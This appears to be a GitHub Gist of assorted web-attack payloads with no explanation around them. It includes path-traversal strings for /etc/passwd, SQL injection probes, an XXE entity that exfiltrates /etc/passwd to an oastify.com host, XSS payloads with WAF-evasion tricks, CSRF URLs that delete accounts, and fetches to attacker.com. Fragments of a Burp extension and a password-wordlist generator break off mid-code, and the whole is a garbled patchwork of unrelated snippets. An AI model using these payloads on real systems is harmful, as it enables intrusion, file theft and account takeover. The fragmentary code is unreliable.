Skip to content

Instantly share code, notes, and snippets.

etc/passwd
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../../etc/passwd
1. SQLI:
'
"
')
")
'))
"))
'--
"--
'#
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://%file%.h6ojcmzsjqtnjvjyv6als7vbl2rtfp3e.oastify.com/'>">
%eval;
##Rare Cases
*/</script><script>alert()/*
'href=javascript:alert()>click me<a/y='
"autofocus onclick=’&#97;lert()'
Akamai Tricks & Tips
* alert() => window['alert']()
* alert() => this['alert']()
* alert() => (alert)()
* alert() => eval(atob('YWxlcnQoKQ=='))
{
__type(name: "TableauUser") {
name
kind
fields {
name
type {
name
kind
ofType {
https://example.com/page?path=<img src="/[email protected]">
https://example.com/page?path=<iframe src="/delete-account?confirm=true" style="display:none;">
fetch('/action?param=value', { credentials: 'include' });
<img src="javascript:fetch('//attacker.com/test.html').then(r=>r.text()).then(t=>document.body.innerHTML=t)">
<img src=x style="content:url('http://attacker.com/test.html')">
https://docs.google.com/forms/d/1gvftw9m8pnl7NlyVArfTS2kLISoYsG29sYtZy7HmRbs/edit
https://docs.google.com/forms/d/1AlTAcrpvLAklwP2yfONZmqcE0AO8DbwQ8KSvl-O5ktA/edit
https://docs.google.com/forms/d/1gIP_e54wvGBDBLH7C3fCVICWbRH_K0H5mKlgtNQOQVU/edit
https://docs.google.com/forms/d/1Qcqnvdy2sfd5xBa1loTrFN1SRnBIa_oMmQnWuzoWTNQ/edit
https://docs.google.com/forms/d/16gC6TfSJCxJTjHEjvvVsD2H3fogPwW9Gr8rKx0ljt9A/edit
#!python2
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from burp import IBurpExtender, ITab
from burp import IContextMenuFactory
# from java.awt import Color
from javax.swing import JMenuItem
from javax.swing import JPanel
from javax.swing import JLabel,JTextField,JButton
import itertools
import random
special_chars = "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
words = ["example", "password", "security", "test", "random"]
years = [str(year) for year in range(2000, 2031)]
with open("wordlist.txt", "w") as f:
for _ in range(1000): # Change 1000 to however many combinations you want
specials = ''.join(random.choices(special_chars, k=4))